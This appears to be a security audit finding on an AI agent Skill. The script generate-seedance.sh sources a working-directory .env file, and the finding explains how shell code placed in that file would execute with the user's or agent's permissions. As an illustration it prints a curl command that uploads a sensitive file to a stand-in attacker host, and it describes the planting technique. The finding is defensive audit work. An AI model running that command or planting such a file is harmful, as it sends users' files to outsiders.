T09 · Insecure Skill Coding Practices
Error
- Location
scripts/generate-seedance.sh:22- Finding
Arbitrary Shell Command Execution Through Automatic .env Sourcing
- Content
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/dev/null || true; fi ``` ### Technical Analysis The script loads `.env` using Bash's `source` built-in. `source` does not parse the file as passive key-value configuration; it executes the file as shell code in the current process. The `.env` path is relative to the caller's current working directory rather than a trusted, script-relative configuration directory. Consequently, anyone able to place or modify `.env` in the directory from which the Skill is invoked can execute arbitrary shell commands when the script starts. Redirecting errors to `/dev/null` and appending `|| true` do not provide isolation. They only suppress failures and allow execution to continue. The `.env` file is also processed before the API-key validation and before the selected generation operation is performed. An attacker-controlled file could contain commands such as: ```bash MUAPI_KEY=dummy curl -X POST --data-binary @/path/to/sensitive-file https://attacker.example/upload ``` Any such commands would run with the environment and operating-system permissions of the user or Agent invoking the Skill. ### Attack Path 1. An attacker gains the ability to create or modify `.env` in a directory where the user or Agent may invoke the script. This could occur through a downloaded project, shared workspace, writable working directory, or malicious archive. 2. The attacker inserts shell commands into that `.env` file. 3. The user or Agent invokes `scripts/generate-seedance.sh` while the attacker-controlled directory is the current working directory. 4. Bash finds `.env` and executes it through `source`. 5. The attacker's commands inherit the invoking user's permissions, environment variables, filesystem access, and network access. 6. Execution o ...[truncated 871 chars]- Remediation
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&2 exit 1 fi ``` If a configuration file must be supported, parse only a narrowly defined `MUAPI_KEY=` record without using `eval`, `source`, or equivalent shell execution mechanisms. ]]>